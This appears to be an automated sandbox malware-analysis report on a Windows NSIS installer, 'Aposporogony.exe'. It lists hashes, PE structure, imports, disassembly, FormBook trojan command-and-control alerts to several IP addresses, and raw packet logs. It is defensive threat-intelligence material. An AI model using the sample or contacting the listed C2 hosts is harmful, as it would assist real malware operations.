Preview:	88..{.yE."....U.I..#%r.@....\........Qg.}.5..u.\|.7.d..UwG.]...BQ.....lTqg.{A../../.....\.bk........nV....;..BVS..39$.$,]...\|c[."...s...Z.j.........."._xa..js=,....mn.. .._.......A!..F.._...\?...IQ..i...S..".!..P........V~._.)\.MI.1.".5HE..2..........$..'....w.l..QQ...o.?.k...(.?..`..-^.@..K./.m...Vs.y..P.^............s..-......_...N.lJ../.........c.X.....D......>..$T.....<.!.Q9KOf..~>R.`\|=..5} (...v....:h.b^:.-....Z.._.6z...A`...~.]..j._.".:.n.&)...{....q/.a.K......`..+4.O......F..q.3e...qJ......GW..T$._..x.'.A....._ .xH..X.O.fps..}.....i4...F[u.....G....M.0q..4.{.c...K..4'z.....T...6<)...3x.12...H5.k3....U..\|.!..<.+s..a..5.to.{.c....5f.=;2.b....3J.#.8...M..$.s.^R....D.Z....~u....8..{.n.dQ.......\#r$.....s........(.Z.FXdg.-%:"k.\|..:.[/.Cx......(..l....3..E..l....h.....r.)..,e1.QC(/0%-....G...e..K..n..m....m...0.....Nn,<u?=.Q>.43u...H.....$0...\|...k..........]..S....~..l..O.sj.1z.qA'..Q..g.F.......=?.k#>Bd..,H.3`......+7.z:.........I....!...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.01164787192876
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Aposporogony.exe
File size:	598249
MD5:	7cc14b0b7f4c470c20864d25bcc2db3d
SHA1:	96d74402bf9ad05e7cdbbe8fbba10c5e8d5220e8
SHA256:	49a73b28d4122d560e987d24674e9e5e0038aa6c56e83e07b43c383b5b29ff44
SHA512:	6c5a702577caa6bfd10533a5da90ea57b2050854b2dabcd3820b8d2fd448af6002d904abfb143f2732b8b2b2596d0a55fda9f97c38bea10a83a479ac5e6ed3f7
SSDEEP:	6144:mp+ggf0T+/tfoEgU7EahqmfzuBdlz9bCcFTlveB3SfCDjVKz:S60T+JoEeahxfidPbJTgCfCnVKz
TLSH:	1CD407C1B8E4F717C0A449B7F15616FB17350CA9A2586DE1C0DCBB7B31BE912A1CB226
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...5.oZ.................f...*.....

File Icon


Icon Hash:	00f0d8e0a4e47083

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5A6FED35 [Tue Jan 30 03:57:41 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F9BA0C538A3h
push ebx
call 00007F9BA0C56B6Dh
cmp eax, ebx
je 00007F9BA0C53899h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F9BA0C56AE7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F9BA0C5387Ch
push 0000000Ah
call 00007F9BA0C56B40h
push 00000008h
call 00007F9BA0C56B39h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F9BA0C56B2Dh
cmp eax, ebx
je 00007F9BA0C538A1h
push 0000001Eh
call eax
test eax, eax
je 00007F9BA0C53899h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x586c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	False	0.6540287990196079	data	6.416222666400958	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	False	0.45	data	5.143831732151552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x3e000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x586c8	0x58800	False	0.15459205067090395	data	3.9804986707601797	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x692f8	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	English	United States
RT_ICON	0xab320	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States
RT_ICON	0xbbb48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States
RT_ICON	0xbe0f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States
RT_ICON	0xbf198	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States
RT_ICON	0xc0040	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	English	United States
RT_ICON	0xc09c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States
RT_DIALOG	0xc0e30	0x100	data	English	United States
RT_DIALOG	0xc0f30	0x11c	data	English	United States
RT_DIALOG	0xc1050	0x60	data	English	United States
RT_GROUP_ICON	0xc10b0	0x68	data	English	United States
RT_VERSION	0xc1118	0x270	data	English	United States
RT_MANIFEST	0xc1388	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20192.185.32.15749893802031449 11/21/22-19:24:07.554896	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.11.20	192.185.32.157
192.168.11.20192.185.32.15749837802031453 11/21/22-19:20:48.332938	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49837	80	192.168.11.20	192.185.32.157
192.168.11.20185.101.158.23949867802031449 11/21/22-19:22:29.555793	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49867	80	192.168.11.20	185.101.158.239
192.168.11.20192.185.32.15749837802031412 11/21/22-19:20:48.332938	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49837	80	192.168.11.20	192.185.32.157
192.168.11.20194.245.148.18949863802031449 11/21/22-19:22:18.340101	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49863	80	192.168.11.20	194.245.148.189
192.168.11.2045.130.41.2449885802031412 11/21/22-19:23:43.670047	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49885	80	192.168.11.20	45.130.41.24
192.168.11.20103.63.2.17549909802031449 11/21/22-19:25:04.539756	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	103.63.2.175
192.168.11.20194.245.148.18949863802031453 11/21/22-19:22:18.340101	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49863	80	192.168.11.20	194.245.148.189
192.168.11.2045.130.41.2449885802031453 11/21/22-19:23:43.670047	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49885	80	192.168.11.20	45.130.41.24
192.168.11.2045.130.41.2449829802031453 11/21/22-19:20:23.527011	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49829	80	192.168.11.20	45.130.41.24
192.168.11.20103.63.2.17549855802031449 11/21/22-19:21:46.471516	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49855	80	192.168.11.20	103.63.2.175
192.168.11.2045.130.41.2449829802031412 11/21/22-19:20:23.527011	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49829	80	192.168.11.20	45.130.41.24
192.168.11.20192.185.32.15749837802031449 11/21/22-19:20:48.332938	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49837	80	192.168.11.20	192.185.32.157
192.168.11.20185.101.158.23949867802031453 11/21/22-19:22:29.555793	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49867	80	192.168.11.20	185.101.158.239
192.168.11.20185.101.158.23949867802031412 11/21/22-19:22:29.555793	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49867	80	192.168.11.20	185.101.158.239
192.168.11.201.1.1.149583532014169 11/21/22-19:20:17.053336	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49583	53	192.168.11.20	1.1.1.1
192.168.11.20192.185.32.15749893802031412 11/21/22-19:24:07.554896	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.11.20	192.185.32.157
192.168.11.20194.245.148.18949863802031412 11/21/22-19:22:18.340101	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49863	80	192.168.11.20	194.245.148.189
192.168.11.20103.63.2.17549909802031453 11/21/22-19:25:04.539756	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	103.63.2.175
192.168.11.20192.185.32.15749893802031453 11/21/22-19:24:07.554896	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.11.20	192.185.32.157
192.168.11.20103.63.2.17549909802031412 11/21/22-19:25:04.539756	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	103.63.2.175
192.168.11.20103.63.2.17549855802031412 11/21/22-19:21:46.471516	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49855	80	192.168.11.20	103.63.2.175
192.168.11.20103.63.2.17549855802031453 11/21/22-19:21:46.471516	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49855	80	192.168.11.20	103.63.2.175
192.168.11.2045.130.41.2449829802031449 11/21/22-19:20:23.527011	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49829	80	192.168.11.20	45.130.41.24
192.168.11.2045.130.41.2449885802031449 11/21/22-19:23:43.670047	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49885	80	192.168.11.20	45.130.41.24

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2022 19:18:35.512015104 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.512032986 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.512219906 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.527648926 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.527656078 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.559667110 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.559830904 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.560410023 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.560631990 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.674057007 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.675178051 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.675458908 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.679795980 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.724400997 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.987910032 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.988135099 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.988198996 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.988365889 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.988368034 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.988420010 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.988446951 CET	443	49818	142.250.185.78	192.168.11.20
Nov 21, 2022 19:18:35.988573074 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:35.988631010 CET	49818	443	192.168.11.20	142.250.185.78
Nov 21, 2022 19:18:36.162713051 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.162734032 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.162869930 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.163229942 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.163243055 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.200342894 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.200512886 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.200512886 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.200982094 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.201127052 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.201127052 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.204843998 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.204852104 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.205075979 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.205310106 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.205832958 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.248399973 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.520715952 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.520903111 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.520958900 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.521121025 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.521485090 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.521732092 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.521774054 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.522655964 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.523052931 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.523277044 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.523518085 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.523547888 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.523700953 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.524049997 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.524411917 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.524449110 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.524732113 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.524749041 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.524954081 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.530770063 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.531084061 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.531124115 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.531151056 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.531385899 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.531423092 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.531554937 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.531584024 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.531851053 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.531908989 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.532114029 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.532444000 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.532922983 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.532943964 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.532989979 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.533113956 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.533298016 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.533328056 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.533518076 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.533776045 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.534084082 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.534107924 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.534270048 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.534423113 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.534629107 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.534684896 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.534890890 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.535197020 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.535408974 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.535465002 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.535643101 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.535952091 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.536113977 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.536174059 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.536338091 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.536554098 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.536755085 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.536812067 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.536992073 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.537206888 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.537380934 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.537417889 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.537600040 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.537626982 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.537775040 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.537805080 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.537916899 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.538085938 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.538284063 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.538317919 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.538465023 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.538482904 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.538626909 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.538992882 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.539180040 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.539210081 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.539391994 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.539410114 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.539650917 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.540033102 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.540226936 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.540261984 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.540462971 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.540518045 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.540759087 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.541218996 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.541446924 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.541487932 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.541668892 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.541692019 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.541904926 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.541927099 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542077065 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.542103052 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542244911 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.542260885 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542443037 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542505980 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.542531967 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542960882 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.542969942 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.542998075 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543210030 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.543235064 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543476105 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543544054 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.543575048 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543687105 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.543797016 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.543798923 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543826103 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.543948889 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.543948889 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.544258118 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.544418097 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.544472933 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.544631958 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.544658899 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.544790983 CET	49819	443	192.168.11.20	142.250.185.161
Nov 21, 2022 19:18:36.544820070 CET	443	49819	142.250.185.161	192.168.11.20
Nov 21, 2022 19:18:36.545008898 CET	49819	443	192.168.11.20	142.250.185.161
